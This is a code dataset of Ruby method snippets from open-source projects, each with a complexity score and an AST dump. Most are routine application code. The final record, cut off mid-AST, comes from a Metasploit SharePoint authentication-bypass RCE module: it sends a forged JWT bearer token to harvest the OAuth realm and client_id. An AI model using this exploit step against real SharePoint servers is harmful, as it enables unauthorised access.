{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/extended_deterministic_queries.rb","start_line":24,"raw_source":"def self.install_support\n        # ActiveRecord::Base relies on ActiveRecord::Relation (ActiveRecord::QueryMethods) but it does\n        # some prepared statements caching. That's why we need to intercept +ActiveRecord::Base+ as soon\n        # as it's invoked (so that the proper prepared statement is cached).\n        ActiveRecord::Relation.prepend(RelationQueries)\n        ActiveRecord::Base.include(CoreQueries)\n        ActiveRecord::Encryption::EncryptedAttributeType.prepend(ExtendedEncryptableType)\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"install_support\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Relation\"]},\"prepend\",{\"type\":\"const\",\"children\":[null,\"RelationQueries\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"include\",{\"type\":\"const\",\"children\":[null,\"CoreQueries\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"EncryptedAttributeType\"]},\"prepend\",{\"type\":\"const\",\"children\":[null,\"ExtendedEncryptableType\"]}]}]}]}","id":"3f87de73-55ab-4434-b075-216f4709b0cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/chat/responder/mattermost.rb","start_line":62,"raw_source":"def failure\n          send_response(\n            response_type: :in_channel,\n            attachments: [\n              {\n                color: FAILURE_COLOR,\n                text: \"ChatOps job started by #{user_ref} failed!\",\n                fields: [\n                  {\n                    short: true,\n                    title: \"ID\",\n                    value: build_ref.to_s\n                  },\n                  {\n                    short: true,\n                    title: \"Name\",\n                    value: build.name\n                  }\n                ]\n              }\n            ]\n          )\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_type\"]},{\"type\":\"sym\",\"children\":[\"in_channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"const\",\"children\":[null,\"FAILURE_COLOR\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ChatOps job started by \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_ref\"]}]},{\"type\":\"str\",\"children\":[\" failed!\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_ref\"]},\"to_s\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"name\"]}]}]}]}]}]}]}]}]}]}]}","id":"344d490c-ab7f-415b-94d8-6a26422077e8"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/data_app.rb","start_line":41,"raw_source":"def generate_unique_token\n    loop do\n      token = Devise.friendly_token\n      break token unless DataApp.exists?(data_app_token: token)\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_unique_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"friendly_token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DataApp\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_app_token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},null,{\"type\":\"break\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}]}","id":"05d02310-1c77-4684-8cd2-753e6db0d261"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/podcasts/get_episode.rb","start_line":46,"raw_source":"def cache_key(item_data)\n      Digest::SHA1.hexdigest(item_data.to_s)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_data\"]},\"to_s\"]}]}]}","id":"d87802fc-33ae-400d-a936-e1bd151cda37"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/inboxes_controller.rb","start_line":92,"raw_source":"def fetch_inbox\n    @inbox = Current.account.inboxes.find(params[:id])\n    authorize @inbox, :show?\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"inboxes\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@inbox\"]},{\"type\":\"sym\",\"children\":[\"show?\"]}]}]}]}","id":"f86a25f4-55f7-4137-a1f5-5bdc277ea20c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/active_users_measure.rb","start_line":14,"raw_source":"def perform_previous_total_query\n    activity_tracker.sum(previous_time_period.first, previous_time_period.last)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_previous_total_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tracker\"]},\"sum\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_time_period\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_time_period\"]},\"last\"]}]}]}","id":"cbf11bd5-44f4-49c4-9b02-52855109ecb7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/slicing_with_range.rb","start_line":132,"raw_source":"def endless(range_node)\n          \"#{range_node.begin.source}#{range_node.loc.operator.source}\"\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"endless\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range_node\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_node\"]},\"begin\"]},\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_node\"]},\"loc\"]},\"operator\"]},\"source\"]}]}]}]}","id":"381ab8eb-9dfa-42e4-a452-11889dc7cd95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import_csv/base_service.rb","start_line":17,"raw_source":"def execute\n      process_csv\n      email_results_to_user\n\n      results\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_csv\"]},{\"type\":\"send\",\"children\":[null,\"email_results_to_user\"]},{\"type\":\"send\",\"children\":[null,\"results\"]}]}]}","id":"afa030c7-8151-46e7-ae82-99b967033250"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/ui/interface.rb","start_line":171,"raw_source":"def test_failure!(error_message)\n      raise FastlaneTestFailure.new, error_message\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_failure!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error_message\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneTestFailure\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}","id":"8c837be0-717e-425b-8cb0-494cc444838f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":50,"raw_source":"def test_schema_dump\n    output = standard_dump\n    assert_match %r{create_table \"accounts\"}, output\n    assert_match %r{create_table \"authors\"}, output\n    assert_no_match %r{(?<=, ) do \\|t\\|}, output\n    assert_no_match %r{create_table \"schema_migrations\"}, output\n    assert_no_match %r{create_table \"ar_internal_metadata\"}, output\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"standard_dump\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"accounts\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"authors\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<=, ) do \\\\|t\\\\|\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"schema_migrations\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"ar_internal_metadata\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"10076803-24e5-4511-8c5c-53127b89cc27"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/cooked_post_processor.rb","start_line":214,"raw_source":"def enforce_nofollow\n    add_nofollow = !@omit_nofollow && SiteSetting.add_rel_nofollow_to_user_content\n    PrettyText.add_rel_attributes_to_user_content(@doc, add_nofollow)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enforce_nofollow\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"add_nofollow\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@omit_nofollow\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"add_rel_nofollow_to_user_content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"add_rel_attributes_to_user_content\",{\"type\":\"ivar\",\"children\":[\"@doc\"]},{\"type\":\"lvar\",\"children\":[\"add_nofollow\"]}]}]}]}","id":"d7eb1797-6d2c-46d3-b6ce-8e46e20e3edb"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/odoo/client.rb","start_line":71,"raw_source":"def format_record(record, json_schema)\n        json_schema = json_schema.with_indifferent_access\n        properties = json_schema[\"properties\"]\n        record.each_key do |key|\n          data_type = properties[key][\"type\"]\n          record[key] = record[key].to_i if data_type == \"many2one\"\n          record[key] = JSON.parse(record[key]) if data_type == \"one2many\"\n        end\n        record\n      end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"format_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"json_schema\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_schema\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_schema\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"properties\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_schema\"]},\"[]\",{\"type\":\"str\",\"children\":[\"properties\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"many2one\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_i\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"one2many\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}","id":"98ad5ff2-cf30-423c-95c6-75a1eafe7ac8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/menu_items/wiki_menu_item.rb","start_line":64,"raw_source":"def new_wiki_page=(value)\n    options[:new_wiki_page] = value\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_wiki_page=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"new_wiki_page\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"843f7847-db74-4044-9923-665983454dd9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/controllers/cost_reports_controller.rb","start_line":78,"raw_source":"def index\n    table\n    return if performed?\n\n    respond_to do |format|\n      format.html { render_html }\n      format.xls { export(:xls) }\n      format.pdf { export(:pdf) }\n    end\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"performed?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_html\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"xls\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"export\",{\"type\":\"sym\",\"children\":[\"xls\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"pdf\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"export\",{\"type\":\"sym\",\"children\":[\"pdf\"]}]}]}]}]}]}]}","id":"c028de34-e363-41f9-929a-8b890c10db63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/redis_base.rb","start_line":17,"raw_source":"def storage_key\n          strong_memoize(:storage_key) do\n            re = /(?<storage>.+)_shard_.+/\n            md = re.match(self.name.demodulize.underscore)\n            (md && md[:storage]) || self.name.demodulize.underscore\n          end\n        end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"storage_key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"re\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<storage>.+)_shard_.+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"md\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]},\"demodulize\"]},\"underscore\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storage\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]},\"demodulize\"]},\"underscore\"]}]}]}]}]}","id":"23033e15-0597-46fa-a69b-087d257ba3c3"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/routes_test.rb","start_line":35,"raw_source":"def test_simulator_changes\n        mapper.get \"/foo(/:id)\", to: \"foo#bar\", as: \"aaron\"\n        sim = routes.simulator\n        mapper.get \"/foo(/:id)\", to: \"foo#bar\", as: \"gorby\"\n        assert_not_equal sim, routes.simulator\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_simulator_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mapper\"]},\"get\",{\"type\":\"str\",\"children\":[\"/foo(/:id)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"foo#bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"aaron\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sim\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes\"]},\"simulator\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mapper\"]},\"get\",{\"type\":\"str\",\"children\":[\"/foo(/:id)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"foo#bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"gorby\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"sim\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes\"]},\"simulator\"]}]}]}]}","id":"e8bbc997-e25e-4ca6-9913-98933d5669ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/update_service.rb","start_line":184,"raw_source":"def track_labels_change(merge_request, old_labels)\n      return if Set.new(merge_request.labels) == Set.new(old_labels)\n\n      merge_request_activity_counter.track_labels_changed_action(user: current_user)\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_labels_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"old_labels\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"labels\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"old_labels\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_activity_counter\"]},\"track_labels_changed_action\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}","id":"d1fc6224-2c82-4def-a7c9-3b35915bbfcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/reports_comparer.rb","start_line":20,"raw_source":"def status\n          if base_report.nil? || head_report.nil?\n            STATUS_NOT_FOUND\n          elsif success?\n            STATUS_SUCCESS\n          else\n            STATUS_FAILED\n          end\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_report\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"head_report\"]},\"nil?\"]}]},{\"type\":\"const\",\"children\":[null,\"STATUS_NOT_FOUND\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success?\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_SUCCESS\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_FAILED\"]}]}]}]}","id":"f7c2d3e4-2b64-40e8-8bb2-c6b76c0563ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb","start_line":103,"raw_source":"def get_oauth_info(hostname)\n    vprint_status('getting oauth info')\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, '_api', 'web'),\n      'method' => 'GET',\n      'headers' => {\n        # The below base64 decoded is: {\"alg\":\"HS256\"}{\"nbf\":\"1673410334\",\"exp\":\"1693410334\"}aaa\n        'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh',\n        'HOST' => hostname\n      }\n    })\n\n    if res && res.headers['WWW-Authenticate']\n      raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm=\"(.+)\",client_id=\"(.+)\",trusted_issuers=\"/\n\n      realm = Regexp.last_match(1)\n      client_id = Regexp.last_match(2)\n      print_status(\"realm: #{realm}, client_id: #{client_id}\")\n      return realm, client_id\n    else\n      raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info'\n    end\n  end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_oauth_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hostname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"getting oauth info\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"_api\"]},{\"type\":\"str\",\"children\":[\"web\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"str\",\"children\":[\"Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HOST\"]},{\"type\":\"lvar\",\"children\":[\"hostname\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NTLM, Bearer realm=\\\"(.+)\\\",client_id=\\\"(.+)\\\",trusted_issuers=\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SharepointInvalidResponseError\"]},{\"type\":\"str\",\"children\":[\"The server did not return a WWW-Authenticate header containing a realm and client_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"realm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"client_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"realm: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"realm\"]}]},{\"type\":\"str\",\"children\":[\", client_id: 